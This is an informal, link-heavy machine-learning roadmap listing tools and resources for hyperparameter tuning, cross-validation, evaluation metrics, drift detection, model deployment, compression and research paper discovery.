heuristic search,multi-fidelity optimization,NNI,DEAP,OptFormer,hgboost,Hyperopt,Sklearn-genetic,GPyOpt,pyGPGO,Mango,mlmachine,Polyaxon,BayesianOptimization,Talos,SHERPA,Scikit-Optimize,GPyOpt,SMAC, Simulated annealing (SA),Genetic algorithms (GAs),Particle swarm optimization (PSO),Population-Based Training (PBT),Multi-Fidelity Optimization,DEAP,SMAC,Ray Tune,Google’s Vizer, Microsoft’s NNI,Keras tuner,BayesianOptimization,GPyOpt,SigOpt Bayesian Optimization: https://github.com/fmfn/BayesianOptimization Scikit Optimize: https://github.com/scikit-optimize/scikit-optimize Pyro: https://github.com/pyro-ppl/pyro BoTorch: https://github.com/pytorch/botorch RBFOpt library for black-box optimization https://github.com/coin-or/rbfopt Bayesian search with Gaussian processes,bayesian search with Random Forests,Bayesian search with GBMs Bayesian Optimization Using BoTorch https://analyticsindiamag.com/guide-to-bayesian-optimization-using-botorch/ hyperparameter optimization https://github.com/LiYangHart/Hyperparameter-Optimization-of-Machine-Learning-Algorithms Hyperopt hyperas https://www.kdnuggets.com/2018/12/keras-hyperparameter-tuning-google-colab-hyperas.html hyperopt http://hyperopt.github.io/hyperopt/ hypertune-using-scikit-optimize BayesSearchCV HpBandSter https://github.com/automl/HpBandSter hpsklearn https://medium.com/mlearning-ai/automatic-hyperparameter-optimization-6a1692c2ebee hypopt https://github.com/cgnorthcutt/hypopt https://medium.com/mlearning-ai/automatic-hyperparameter-optimization-6a1692c2ebee HiPlot https://analyticsindiamag.com/this-new-tool-helps-developers-in-effective-hyperparameter-tuning/ botorch Bayesian optimization https://github.com/pytorch/botorch OCTIS https://github.com/mind-lab/octis hyperband https://neptune.ai/blog/hyperband-and-bohb-understanding-state-of-the-art-hyperparameter-optimization-algorithms Spearmint https://github.com/JasperSnoek/spearmint/ tuun Hyperparameter tuning via uncertainty modeling https://github.com/petuum/tuun tune-sklearn https://github.com/ray-project/tune-sklearn/ NeuPy http://neupy.com/2016/12/17/hyperparameter_optimization_for_neural_networks.html#id24 Vizier ConfigSpace https://automl.github.io/ConfigSpace/master/ https://towardsdatascience.com/tuning-xgboost-with-xgboost-writing-your-own-hyper-parameters-optimization-engine-a593498b5fba NatureInspiredSearchCV https://github.com/timzatko/Sklearn-Nature-Inspired-Algorithms d.Sequential Model Based Optimization(Tuning a scikit-learn estimator with skopt) e.Optuna https://analyticsindiamag.com/hands-on-python-guide-to-optuna-a-new-hyperparameter-optimization-tool/ f.Genetic Algorithms,Gradient-based optimization darwin-mendel Genetic Algorithm for Hyper-Parameter Tuning https://manishagrawal-datascience.medium.com/genetic-algorithm-for-hyper-parameter-tuning-1ca29b201c08 g.Keras tuner (Random Search Keras Tuner,HyperBand Keras Tuner,Bayesian Optimization Keras Tuner,Hyperas ) https://sukanyabag.medium.com/automated-hyperparameter-tuning-with-keras-tuner-and-tensorflow-2-0-31ec83f08a62 Keras Hyperparameter Tuning with aisaratuners Library https://aisaradeepwadi.medium.com/advance-keras-hyperparameter-tuning-with-aisaratuners-library-78c488ab4d6a hyperas Automating Hyperparameter Tuning of Keras Model https://github.com/maxpumperla/hyperas storm-tuner https://github.com/ben-arnao/StoRM https://medium.com/geekculture/finding-best-hyper-parameters-for-deep-learning-model-4df7a17546c2 Hyperas https://towardsdatascience.com/automating-hyperparameter-tuning-of-keras-model-4fe69b8dedee hyperopt-sklearn https://github.com/hyperopt/hyperopt-sklearn Deep AutoViML https://github.com/AutoViML/deep_autoviml h.Scikit-Optimize,Optuna,Hyperopt,Multi-fidelity Optimization,Gradient-based optimization,Evolutionary optimization,Population-based,Bayes Search Scikit-Optimize library comes with BayesSearchCV implementation mle-hyperopt Lightweight Hyperparameter Optimization Tool https://github.com/mle-infrastructure/mle-hyperopt h.Hyperparameter Optimization https://github.com/awslabs/syne-tune i.ray[tune] and aisaratuners https://towardsdatascience.com/choosing-a-hyperparameter-tuning-library-ray-tune-or-aisaratuners-b707b175c1d7 raytune https://docs.ray.io/en/master/tune/index.html https://docs.ray.io/en/latest/tune/index.html k.model_search https://github.com/google/model_search https://analyticsindiamag.com/hands-on-guide-to-model-search-a-tensorflow-based-framework-for-automl/ Optimize machine learning models https://www.tensorflow.org/model_optimization Milano https://github.com/NVIDIA/Milano Tree-structured Parzen Estimators - TPE , TPE with Hyperopt Hyperparameter Tuning with the HParams Dashboard baytune https://www.kdnuggets.com/2021/03/automating-machine-learning-model-optimization.html Dragonfly https://analyticsindiamag.com/guide-to-scalable-and-robust-bayesian-optimization-with-dragonfly/ Pywedge https://www.analyticsvidhya.com/blog/2021/02/interactive-widget-based-hyperparameter-tuning-and-tracking-in-pywedge/ CapsNet Hyperparameter Tuning with Keras https://towardsdatascience.com/scikeras-tutorial-a-multi-input-multi-output-wrapper-for-capsnet-hyperparameter-tuning-with-keras-3127690f7f28 GPyTorch: A Python Library For Gaussian Process Models https://analyticsindiamag.com/guide-to-gpytorch-a-python-library-for-gaussian-process-models/ Auto-PyTorch https://github.com/automl/Auto-PyTorch l.SMAC https://www.automl.org/automated-algorithm-design/algorithm-configuration/smac/ https://towardsdatascience.com/automl-for-fast-hyperparameters-tuning-with-smac-4d70b1399ce6 m.faster Hyper Parameter Tuning(sklearn-nature-inspired-algorithms) https://pypi.org/project/sklearn-nature-inspired-algorithms/ n.talos Neural network and hyperparameter optimization using Talos https://www.analyticsvidhya.com/blog/2021/05/neural-network-and-hyperparameter-optimization-using-talos/ https://towardsdatascience.com/10-hyperparameter-optimization-frameworks-8bc87bc8b7e3 https://mlwhiz.com/blog/2020/02/22/hyperspark/?utm_campaign=100x-faster-hyperparameter-search-framework-with-pyspark&utm_medium=social_link&utm_source=missinglettr DeepSpeed is a deep learning optimization library that makes distributed training easy, efficient, and effective https://github.com/microsoft/DeepSpeed o.shap-hypetune https://github.com/cerlymarco/shap-hypetune https://towardsdatascience.com/shap-for-feature-selection-and-hyperparameter-tuning-a330ec0ea104 mlmachine,Polyaxon,BayesianOptimization,Talos,SHERPA,Scikit-Optimize,GPyOpt p.Hyperactive https://github.com/SimonBlanke/Hyperactive Hyperopt, Optuna, and Ray,SCIKIT-OPTIMIZE,SMAC,Multi-fidelity Optimization,Successive Halving,Hyperband BOHB,SMBOSearch OMLT optimization https://github.com/cog-imperial/OMLT HyperOpt http://hyperopt.github.io/hyperopt/ Optuna https://optuna.org/ Scikit-optimize https://scikit-optimize.github.io/stable/ SigOpt https://sigopt.com/ DeepHyper Hyperparameter Search for Deep Neural Networks https://github.com/deephyper/deephyper lipo hyperparameter tuning https://github.com/jdb78/lipo Weights and Biases to Perform Hyperparameter Optimization https://hackernoon.com/using-weights-and-biases-to-perform-hyperparameter-optimization Cross validation techniques- https://towardsdatascience.com/understanding-8-types-of-cross-validation-80c935a4976d a.Exhaustive, where the method learn and test on every single possibility of dividing the dataset into training and testing subsets. b.Non-exhaustive cross validation methods where all ways of splitting the sample are not computed. 1.Loocv 2.Kfoldcv,Repeated K-Folds Method,Shuffle & Split cross-validation 3.Stratfied cross validation,Stratified K-fold CV,Group K-fold,StratifiedGroupKFold,StratifiedShuffleSplit,Nested K-folds,Random split KFold,Walk forward,Group Time Series,Purged Group KFold,Combinatorial Purged Group KFold 4.Repeated K-folds,RepeatedStratifiedKFold,Repeated random subsampling CV 5.Holdout cross-validation 6.Repeated cross-validation,Repeated K-folds,Blocked Cross-Validation Method, Nested Cross-Validation Method,Group Cross-Validation,GroupShuffleSplit,Blocked Cross-Validation 7.LeaveOneOut,Leave P out ,Leave-one-out cross-validation,Leave-One-Group-Out Method,Leave-P-Group-Out Method 8.Time Series cross-validation,Time Series Split cross-validation ,Rolling Cross-Validation,Rolling Time Series Cross Validation,Rolling Window Cross-Validation,Monte Carlo Cross-Validation,Holdout Time Series Cross-Validation,Time Series Cross-Validation with a Gap,Sliding Time Series Cross-Validation,GapKFold,GapLeavePOut,GapRollForward 9.ShuffleSplit Cross Validation,Group Shuffle Split,Simple Time Split Validation,Sliding Window Validation,Expanding Window Validation 10.Group KFold Cross Validation 11.Monte-Carlo Cross Validation,Blocked cross-validation,Blocked K-Fold Cross-Validation,Modified K-Fold Cross-Validation Tensorboard,Neptune,TensorFlow Profiler to visualization of model performance Distributed Training with TensorFlow ***6.Testing model*** Text Robustness Evaluation Platform https://github.com/textflint/textflint Generally used metrics Always check bias variance tradeoff to know how model is performing Locust Performance Testing ML Serving APIs With Locust https://www.analyticsvidhya.com/blog/2021/06/performance-testing-ml-serving-apis-with-locust/ Model can be overfitting(low bias,high variance),underfitting(high bias,high variance),good fit(low bias,low variance) https://scikit-learn.org/stable/modules/model_evaluation.html https://scikit-learn.org/stable/modules/classes.html#module-sklearn.linear_model https://stanford.edu/~shervine/teaching/cs-229/cheatsheet-machine-learning-tips-and-tricks KS test to evaluate the separation between class distribution Evaluating the potential return of a model with Lift, Gain, and Decile Analysis 1.Regression task - mean-squared-error, Root-Mean-Squared-Error,mean-absolute error, R², Adjusted R²,Cross-entropy loss,Mean percentage error 2.Classification task-Accuracy,confusion matrix,Precision,Recall,F1 Score,Binary Crossentropy,Categorical Crossentropy,AUC-ROC curve,AUPRC,log loss,Average precision,Mean average precision 3.Reinforcement learning - generally use rewards 4.Incase of machine translation use bleu score 5.Clustering then use External: Adjusted Rand index, Jaccard Score, Purity Score,Rand Index,Mutual Information,V-measure,Fowlkes-Mallows Scores,DBCV Internal:silhouette_score, Davies-Bouldin Index, Dunn Index autoelbow,elbow,Davies-Bouldin Index,Calinski-Harabasz Index https://towardsdatascience.com/performance-metrics-in-machine-learning-part-3-clustering-d69550662dc6 6.Object Detection loss-localization loss,classification loss,Focal Loss,IOU,L2 loss 7.Distance Metrics - Euclidean Distance,Manhattan Distance,Minkowski Distance,Hamming Distance https://towardsdatascience.com/9-distance-measures-in-data-science-918109d069fa Dimensionality Reduction Metrics - Cumulative Explained Variance,Trustworthiness,Sammon’s Mapping 8.Recommender Systems https://parthchokhra.medium.com/evaluating-recommender-systems-590a7b87afa5 Accuracy Metrics (RMSE, MAE),Top-N Hit Rate RecList: The better way to evaluate recommender systems Similarity metrics : Cosine similarity,Jaccard similarity,Euclidean distance Predictive metrics: MAE,RMSE metric-Built-in metrics, Custom metric without external parameters,Custom metric with external parameters,Subclassing custom metric layer Robustness Gym: Evaluation Toolkit for NLP https://github.com/robustness-gym/robustness-gym https://medium.com/swlh/custom-loss-and-custom-metrics-using-keras-sequential-model-api-d5bcd3a4ff28 loss-Built-in loss, Custom loss without external parameters,Custom loss with external parameters,Subclassing loss layer https://analyticsindiamag.com/all-pytorch-loss-function/ https://analyticsindiamag.com/ultimate-guide-to-loss-functions-in-tensorflow-keras-api-with-python-implementation/ tensorwatch Debugging, monitoring and visualization for Python Machine Learning and Data Science https://github.com/microsoft/tensorwatch Types of Data Drift : Concept drift,Virtual drift,Covariate shift,Prior probability shift,Annotator drift,Data poisoning mitigate the effects of data drift: Regular retraining,Data preprocessing,Data augmentation,Monitoring,Online learning,Domain adaptation,Annotator and data quality control Methods to Detect Drift A) Statistical Approaches,Page-Hinkley method,Kolmogorov-Smirnov Test,Population Stability Index (PSI),Kullback-Leibler (KL) divergence,Jensen-Shannon divergence, Wasserstein Distance B) Model-Based Approach C) Adaptive Sliding Window d)Data visualization tools e)Model performance monitoring f)Drift detection libraries 𝐭𝐨𝐨𝐥𝐬 𝐭𝐨 𝐝𝐞𝐭𝐞𝐜𝐭 𝐦𝐨𝐝𝐞𝐥 𝐝𝐫𝐢𝐟𝐭𝐬 : 𝐰𝐡𝐲𝐥𝐨𝐠𝐬,𝐄𝐯𝐢𝐝𝐞𝐧𝐭𝐥𝐲,𝐀𝐥𝐢𝐛𝐢 𝐃𝐞𝐭𝐞𝐜𝐭 Steps to take when there is an occurrence of drift Check Data Quality, Investigate,Retrain the model,Rebuild the model, Pause the model and Fallback Ways to handle Drift in Production a) Rapidly adapt to concept drift b) Be resistant to noise while distinguishing it from concept drift c) Notice and handle severe drift in model performance. article link https://medium.com/@dummahajan/combating-data-drift-the-fight-for-model-accuracy-2c619ee1e33a Docker and Kubernetes https://towardsdatascience.com/deploy-machine-learning-app-built-using-streamlit-and-pycaret-on-google-kubernetes-engine-fd7e393d99cb simplest way to serve your ML models on Kubernetes https://towardsdatascience.com/the-simplest-way-to-serve-your-ml-models-on-kubernetes-5323a380bf9f ***7.deployment*** https://github.com/piyushpathak03/Model-Deployment Train: one off, batch and real-time/online training Serve: Batch, Realtime (Database Trigger, Pub/Sub, web-service, inApp) Continuously Monitor the Behaviour of Deployed Models https://se-ml.github.io/best_practices/04-monitor_models_prod/ Model Monitoring https://www.kdnuggets.com/2021/03/machine-learning-model-monitoring-checklist.html Automate Model Deployment https://se-ml.github.io/best_practices/04-auto_model_packaging/ Platform as a Service (PaaS),Infrastructure as a Service (IaaS),SaaS (Software as a Service) 3 main approaches of Saving and Reloading an ML Model-Pickle Approach,Joblib Approach,JSON approach https://www.datacamp.com/community/tutorials/pickle-python-tutorial https://github.com/balavenkatesh3322/model_deployment 1.Azure 2.Heroku 3.Amazon Web Services Everything AWS https://app.polymersearch.com/discover/aws 4.Google cloud platform 5.ngrok https://www.youtube.com/watch?v=AkEnjJ5yWV0 Deploy a Machine Learning Model for Free https://www.freecodecamp.org/news/deploy-your-machine-learning-models-for-free/ mlpack is a fast, flexible machine learning library suitable for both data science prototyping and deployment https://numfocus.org/project/mlpack https://github.com/mlpack/mlpack MODEL DEPLOYMENT USING TF SERVING Dockerize https://www.kdnuggets.com/2021/04/dockerize-any-machine-learning-application.html https://pub.towardsai.net/how-to-dockerize-your-data-science-project-a-quick-guide-b6fa2d6a8ba1 bodywork-core MLOps tool for deploying machine learning projects to Kubernetes https://github.com/bodywork-ml/bodywork-core Create ML model inside the docker container https://dev.to/niteshthapliyal/create-ml-model-inside-the-docker-container-3b23 LyftLearn: ML Model Training Infrastructure built on Kubernetes https://eng.lyft.com/lyftlearn-ml-model-training-infrastructure-built-on-kubernetes-aef8218842bb Model Serving https://neptune.ai/blog/ml-model-serving-best-tools?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-ml-model-serving-best-tools TensorFlow Extended (TFX) is an end-to-end platform for deploying production ML pipelines https://www.tensorflow.org/tfx https://theaisummer.com/tfx/?utm_content=163294295&utm_medium=social&utm_source=linkedin&hss_channel=lcp-42461735 torchblaze https://github.com/MLH-Fellowship/torchblaze https://mlh-fellowship.github.io/torchblaze/ ML Aide Manage Machine Learning Lifecycle https://mlaide.com/home https://medium.com/ml-aide/manage-machine-learning-lifecycle-with-ml-aide-dfe7710cbe53 Models visualization using Tensorboard,netron, TensorBoard.dev Python web Frameworks for App Development- Flask,Streamlit,fastapi,fastDeploy,Django,Web2py,Pyramid,CherryPy,Voila,Kivy and Kivymd streamlit,Gradio,mia,opyrator,plotly jupyterdash,h2o wave,dash,gradio,PyWebIO,r shiny,sanic,panel,flask,django,PySimpleGUI,pywebio,autocalc,Mercury,Chitra ,Bokeh,Panel,jupyter Voila with ipywidgets,Panel,dash,Fast Dash,BentoML,Cortex,Seldon,UnionML,Taipy,fastDeploy,Mlflow,Seldon core,tensorflow serving,kserve,torchserve,ray,clearml,mlrun,pymlpipe,FastDeploy,Shiny,Voila,Cog,BentoML,MLflow,PyMLpipe,truss,playtorch,Streamsync,panel,Databutton,plotly,pyscript, Sanic,skops,Mage,sematic,Cog, BentoML,Truss,bentoctl,Banana,Pyramid,Docker,Kubernetes,SageMaker,TensorFlow Serving,Kubeflow,Cortex,Seldon.io,Cortex,TensorFlow Serving,TorchServe,KFServing,Multi Model Server,Triton Inference Server,ForestFlow,Seldon Core,BudgetML,GraphPipe,Hydrosphere,MLEM,Opyrator,Apache PredictionIO,Cortex,Triton Inference Server,ForestFlow,DeepDetect,Seldon Core,Kubeflow,datapane,Pynecone.io,Anvil,h2oai nitro,rest-model-service,Databutton,CherryPy,Anvil,modelbit,Pynecone,modelbit,wagtail,flet,Chainlit,Solara Django models https://www.deploymachinelearning.com/#create-django-models https://www.deploymachinelearning.com/ BentoML https://github.com/bentoml/BentoML UnionML: the easiest way to build and deploy machine learning microservices https://github.com/unionai-oss/unionml panel high-level app and dashboarding solution for Python https://github.com/holoviz/panel sanic https://github.com/sanic-org/sanic Gradio - take input from user https://gradio.app/getting_started Fast Dash https://fastdash.app/ binder - https://mybinder.org/ Netlify https://www.analyticsvidhya.com/blog/2021/04/easily-deploy-your-machine-learning-model-into-a-web-app-netlify/ streamlit https://www.kdnuggets.com/2019/10/write-web-apps-using-simple-python-data-scientists.html https://www.youtube.com/watch?v=iUgNIFrVejc https://blog.streamlit.io/introducing-theming/ Streamlit Flask App from Colab using remoteit and ngrok https://www.youtube.com/watch?v=O2enoygZwl4 Streamlit to databases https://docs.streamlit.io/en/0.83.0/tutorial/databases.html https://github.com/jrieke/best-of-streamlit https://neptune.ai/blog/streamlit-guide-machine-learning?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-streamlit-guide-machine-learning streamlit-ace https://github.com/okld/streamlit-ace https://www.youtube.com/watch?v=Iv2vt-7AYNQ customize the themes of your Streamlit web apps https://www.youtube.com/watch?v=3xJYP_C4KNE https://github.com/khuyentran1401/Data-science/tree/master/applications/pywebio_examples colab_everything Python library to run streamlit, flask, fastapi, etc on google colab https://github.com/Ankur-singh/colab_everything/ dash https://github.com/plotly/dash panel-highcharts https://awesome-panel.org/ https://github.com/marcskovmadsen/panel-highcharts https://github.com/holoviz/panel https://github.com/holoviz/panel opyrator Turns your machine learning code into microservices with web API, interactive GUI, and more https://github.com/ml-tooling/opyrator plotly https://plotly.com/ https://analyticsindiamag.com/how-to-use-plotly-in-colab/ Creating a Machine Learning App with Power BI and PyCaret Streamlit vs. Dash vs. Shiny vs. Voila vs. Flask vs. Jupyter vs django vs PySimpleGUIvs pywebio vs Gradio vs autocalc vs Mercury vs Chitra https://www.datarevenue.com/en-blog/data-dashboarding-streamlit-vs-dash-vs-shiny-vs-voila,pymlpipe,Lightning Apps,Aibro Mercury: easily convert Python notebook to web app and share with others https://github.com/mljar/mercury autocalc https://github.com/kefirbandi/autocalc https://towardsdatascience.com/creating-a-ui-with-ipywidgets-and-autocalc-2ef8ea4cc6c2 Quickly deploy ML WebApps https://ngrok.com/ Chitra https://github.com/gradsflow/chitra Deepnote https://deepnote.com/ https://www.youtube.com/watch?v=0ppptVxgEI8 booklet https://booklet.ai/ https://towardsdatascience.com/building-a-covid-19-project-recommendation-system-4607806923b9 https://analyticsindiamag.com/top-8-python-tools-for-app-development/ Voila This library can turn your Jupyter notebooks into standalone web apps that can be deployed to any cloud platform. https://voila.readthedocs.io/en/stable/ H2O.ai https://www.h2o.ai/blog/data-to-production-ready-models-to-business-apps-in-just-a-few-steps/ PyQt and Tkinter , PySimpleGUI are GUI programming in Python https://github.com/tirthajyoti/DS-with-PySimpleGUI DearPyGui https://github.com/hoffstadt/DearPyGui PySimpleGUI https://github.com/PySimpleGUI/PySimpleGUI Gooey Turn (almost) any Python command line program into a full GUI application with one line https://github.com/chriskiehl/Gooey snapyml Deploy AI Models For Free -http://snapyml.snapy.ai/ BentoML https://github.com/bentoml/BentoML h20 wave-apps https://github.com/h2oai/wave-apps https://h2oai.github.io/wave/docs/installation/ https://h2oai.github.io/wave/ h20 Wave ML (AutoML for Wave Apps) https://h2oai.github.io/wave/blog/ml-release-0.3.0/ fastapi https://towardsdatascience.com/deploying-ml-models-in-production-with-fastapi-and-celery-7063e539a5db FastAPI + Uvicorn https://www.kdnuggets.com/2021/04/deploy-machine-learning-models-to-web.html FastAPI based template https://github.com/99sbr/fastapi-template fastapi-log 0.0.3 https://pypi.org/project/fastapi-log/ testing FastAPI ML APIs with Locust https://locust.io/ https://rubikscode.net/2022/03/21/performance-testing-fastapi-ml-apis-with-locust/ chitra 𝗖𝗿𝗲𝗮𝘁𝗲 𝗔𝗣𝗜 𝗳𝗼𝗿 𝗔𝗻𝘆 𝗟𝗲𝗮𝗿𝗻𝗶𝗻𝗴 𝗠𝗼𝗱𝗲𝗹 https://github.com/aniketmaurya/chitra PyWebIO Write Interactive Web App in Script Way Using Python https://www.youtube.com/watch?v=vp1ZNapAy6Y https://towardsdatascience.com/pywebio-write-interactive-web-app-in-script-way-using-python-14f50155af4e https://github.com/tirthajyoti/PyWebIO aibro Deploy Machine Learning Models to the Cloud Quickly and Easily https://aipaca.ai/?ref=hackernoon.com https://medium.datadriveninvestor.com/how-to-deploy-machine-learning-models-to-the-cloud-quickly-and-easily-41cca9425c75 Katana https://github.com/shaz13/katana https://katana-demo.herokuapp.com/redoc https://katana-demo.herokuapp.com/docs DS-with-PySimpleGUI https://github.com/tirthajyoti/DS-with-PySimpleGUI pywinauto Windows GUI Automation with Python tkinter to deploy machine learning model-https://analyticsindiamag.com/complete-tutorial-on-tkinter-to-deploy-machine-learning-model/ Tkinter-Designer Create Beautiful Tkinter GUIs by Drag and Drop https://github.com/ParthJadhav/Tkinter-Designer Web-Based GUI (Gradio)- https://analyticsindiamag.com/guide-to-gradio-create-web-based-gui-applications-for-machine-learning/ https://www.gradio.app/ Bamboolib https://medium.com/ai-in-plain-english/bamboolib-a-data-warriors-weapon-9f734f4c2553 web application(dash)- https://dash.plotly.com/ Pyramid web framework https://trypyramid.com/documentation.html Kivy /Kivymd creating an android app https://towardsdatascience.com/pycaret-2-1-is-here-whats-new-4aae6a7f636a Create a Website with AI https://www.bookmark.com/ localhost to globalurl https://ngrok.com/ https://remote.it/ Jupyter Notebook into an interactive dashboard (voila)-https://voila.readthedocs.io/en/stable/ high-level app and dashboarding solution(Panel)-https://panel.holoviz.org/ MaaS Build ML Models As A Service https://www.analyticsvidhya.com/blog/2021/05/maas-build-ml-models-as-a-service/ https://github.com/gradio-app/gradio ***Tensorflow lite:Use of tensorflow lite to reduce size of model*** https://www.tensorflow.org/lite https://codelabs.developers.google.com/codelabs/recognize-flowers-with-tensorflow-on-android-beta/#0 https://tfhub.dev/s?deployment-format=lite https://www.tensorflow.org/lite/examples https://www.tensorflow.org/lite/microcontrollers https://www.tensorflow.org/lite/models Adventures-in-TensorFlow-Lite https://github.com/sayakpaul/Adventures-in-TensorFlow-Lite coral https://coral.ai/docs/edgetpu/models-intro/ TF Micro and SensiML https://blog.tensorflow.org/2021/05/building-tinyml-application-with-tf-micro-and-sensiml.html six different types of methods: 1) Pruning, Weight sharing Structured Pruning,Unstructured Pruning,Pruning Local,Global Pruning Pruning criteria( Weight magnitude criterion,Gradient magnitude pruning,Global or local pruning, 2) Quantization ,TensorFlow Quantum, Int8 quantization Post-Training Quantization — Reduce Float16 — Hybrid Quantization — Integer Quantization -dynamic range quantization - Dynamic/Runtime Quantization - Post-Training Static Quantization - Static Quantization-aware Training (QAT) 2. During-Training Quantization 3. Post-Training Pruning 4. Post-Training Clustering 3) Knowledge distillation 4) Parameter sharing 5) Tensor decomposition 6) Linear Transformer,Winograd Transformation 7) Selective attention 8) Low-rank factorisation 9) 3LC https://research.google/pubs/pub47962/ 10) brevitas https://github.com/Xilinx/brevitas/ 11) aimet https://github.com/quic/aimet Structured pruning,Unstructured/semi-structured pruning,Quantization,Distillation,Post Training,Training-Aware,Sparse Transfer AIMET is a library that provides advanced quantization and compression techniques for trained neural network models. https://github.com/quic/aimet Pruning,Nonstructural pruning,Structural pruning,Quantisation-Aware Training,Post-Training Quantisation QKeras: a quantization deep learning library for Tensorflow Keras Model Compression https://github.com/open-mmlab/mmrazor Knowledge Distillation knowledge are categorized into three different types: Response-based knowledge, Feature-based knowledge, and Relation-based knowledge three principal types of methods for training student and teacher models, namely offline, online and self distillation. Distillation library KD_Lib https://github.com/SforAiDl/KD_Lib ibm new tool https://www.zdnet.com/article/ibms-new-tool-lets-developers-add-quantum-computing-power-to-machine-learning/ qiskit-machine-learning https://github.com/Qiskit/qiskit-machine-learning https://qiskit.org/documentation/machine-learning/stubs/qiskit_machine_learning.neural_networks.SamplingNeuralNetwork.html compressors https://github.com/elephantmipt/compressors poniard scikit-learn model comparison https://github.com/rxavier/poniard https://rachitsingh.com/deep-learning-model-compression/#quantization model optimization (architecture) TF Lite with iOS, Swift and TF Lite Swift TinyML https://blog.tensorflow.org/2020/08/the-future-of-ml-tiny-and-bright.html tinyml-papers-and-projects This is a list of interesting papers and projects about TinyML https://github.com/gigwegbe/tinyml-papers-and-projects pennylane Python library for differentiable programming of quantum computers https://github.com/PennyLaneAI/pennylane AI Engine for Edge Devices https://github.com/johnolafenwa/deepstack TensorFlow Lite Samples on Unity https://github.com/asus4/tf-lite-unity-sample tflite-support TFLite Support is a toolkit that helps users to develop ML and deploy TFLite models onto mobile / ioT devices https://github.com/tensorflow/tflite-support Post-training Quantization in TensorFlow Lite https://www.tensorflow.org/lite/performance/post_training_quantization pruning Custom Text Classification on Android using TensorFlow Lite https://www.analyticsvidhya.com/blog/2021/05/custom-text-classification-on-android-using-tensorflow-lite/ aimet advanced quantization and compression techniques for trained neural network models https://github.com/quic/aimet https://github.com/quic/aimet-model-zoo Automatic Model Compression (AutoMC) framework for developing smaller and faster AI applications https://github.com/Tencent/PocketFlow leverage of model architecture Federated Learning https://www.analyticsvidhya.com/blog/2021/04/federated-learning-for-beginners/ https://www.tensorflow.org/federated FEDERATED LEARNING(Centralized, Decentralized, Heterogeneous) https://blog.openmined.org/federated-learning-types/ https://aman.ai/primers/ai/federated-learning/ Federated Learning with FEDn https://github.com/scaleoutsystems/fedn plato scalable federated learning research framework https://github.com/TL-System/plato FedNLP: A Research Platform for Federated Learning in Natural Language Processing https://github.com/FedML-AI/FedNLP privacy https://github.com/tensorflow/privacy Differential Privacy https://aman.ai/primers/ai/differential-privacy/ ***Quantization:Use Quantization to reduce size of model*** https://medium.com/qiskit/introducing-qiskit-machine-learning-5f06b6597526 Post Training Quantization Aware Training Quantization TensorFlow Quantum https://www.tensorflow.org/quantum Qiskit Machine Learning https://github.com/Qiskit/qiskit-machine-learning Quantum Machine Learning Quantum Kernels https://github.com/Qiskit/qiskit-machine-learning/blob/master/docs/tutorials/03_quantum_kernel.ipynb IBMs Qiskit,Google’s Cirq,Amazon’s AWS Braket,Microsoft’s Q# and Azure Quantum,Rigetti’s Forest,Xanadu’s Pennylane ***On-Device Machine Learning*** https://developers.google.com/learn/topics/on-device-ml https://www.tensorflow.org/lite/guide/model_maker Core ML for iOS, Tensorflow lite for Android, ML.NET for Windows and ML Kit ***8.Mointoring model*** ***CI CD pipeline used- circleci , jenkins*** ***In real world project use pipeline*** -https://scikit-learn.org/stable/modules/generated/sklearn.pipeline.Pipeline.html 1.easy debugging 2.better readability Types of Data Drift Concept drift,Virtual drift,Covariate shift,Prior probability shift,Annotator drift,Data poisoning There are several measures you can take to mitigate the effects of data drift: Regular retraining,Data preprocessing,Data augmentation,Monitoring,Online learning,Domain adaptation,Annotator and data quality control Techniques for Detecting Data Drift There are several techniques currently available for detecting data drift in machine learning: Data visualization tools,Drift detection methods,Data quality control techniques,Drift detection libraries,Auto-ML tools ***BIG DATA: hadoop,apache spark*** ***project structure*** data science project structure https://towardsdatascience.com/automate-your-data-science-project-structure-in-three-easy-steps-277c92328d24 ***research paper***-https://arxiv.org/ ,https://arxiv.org/list/cs.LG/recent, https://www.kaggle.com/Cornell-University/arxiv arXiv.org https://arxiv.org/list/cs.AI/recent https://arxiv.org/list/stat.ML/recent https://arxiv.org/list/cs.CL/recent https://arxiv.org/list/cs.CV/recent https://github.com/amitness/papers-with-video Datasets on arXiv https://medium.com/paperswithcode/datasets-on-arxiv-1a5a8f7bd104 code for research paper https://www.analyticsvidhya.com/blog/2021/06/steal-the-code-ethically-get-better-at-ml-ai-research/ papertalk https://papertalk.org/index connected papers https://www.connectedpapers.com/ Stanford AI Lab Papers and Talks at ICLR 2021 https://ramseyelbasheer.io/2021/05/03/stanford-ai-lab-papers-and-talks-at-iclr-2021/ Semantic Scholar searches: https://www.semanticscholar.org/search?q=%22neural%20networks%22&sort=relevance&ae=false https://www.semanticscholar.org/search?q=%22machine%20learning%22&sort=relevance&ae=false https://www.semanticscholar.org/search?q=%22natural%20language%22&sort=relevance&ae=false https://www.semanticscholar.org/search?q=%22computer%20vision%22&sort=relevance&ae=false https://www.semanticscholar.org/search?q=%22deep%20learning%22&sort=relevance&ae=false code for Research Papers-https://chrome.google.com/webstore/detail/find-code-for-research-pa/aikkeehnlfpamidigaffhfmgbkdeheil Summarise Research Papers - https://www.semanticscholar.org/ Structure Your Data Science Projects https://towardsdatascience.com/structure-your-data-science-projects-6c6c8653c16a ***programming language for data science is Python,R,Julia,Java,Scala,JAVA SCRIPT(Tensorflow.js),etc...*** IDE:jupyter notebook,spyder,pycharm,visual studio 4 Tools for Reproducible Jupyter Notebooks https://towardsdatascience.com/4-tools-for-reproducible-jupyter-notebooks-d7423721bd04 12 Jupyter Notebook Extensions That Will Make Your Life Easier https://towardsdatascience.com/12-jupyter-notebook-extensions-that-will-make-your-life-easier-e0aae0bd181 Coding Tools Powered by AI : GitHub Co-Pilot,Tabnine,AI2SQL,Mutable,MarsXm,Ghostwriter,Stenography,OpenAI Codex,CodeT5,Polycoder,GhostWriter Replit,Seek,AI2SQL,Cody by Sourcegraph,MutableAI,StableCode,DeciCoder,santacoder ***BEST ONLINE COURSES*** 1.COURSERA 2.UDEMY 3.EDX 4.DATACAMP 5.Udacity 6.https://www.skillbasics.com/ ***BEST YOUTUBE CHANNEL TO FOLLOW*** 1.Krish Naik-https://www.youtube.com/user/krishnaik06 2.Codebasics-https://www.youtube.com/channel/UCh9nVJoWXmFb7sLApWGcLPQ 3.Abhishek thakur-https://www.youtube.com/user/abhisheksvnit 4.AIEngineering-https://www.youtube.com/channel/UCwBs8TLOogwyGd0GxHCp-Dw 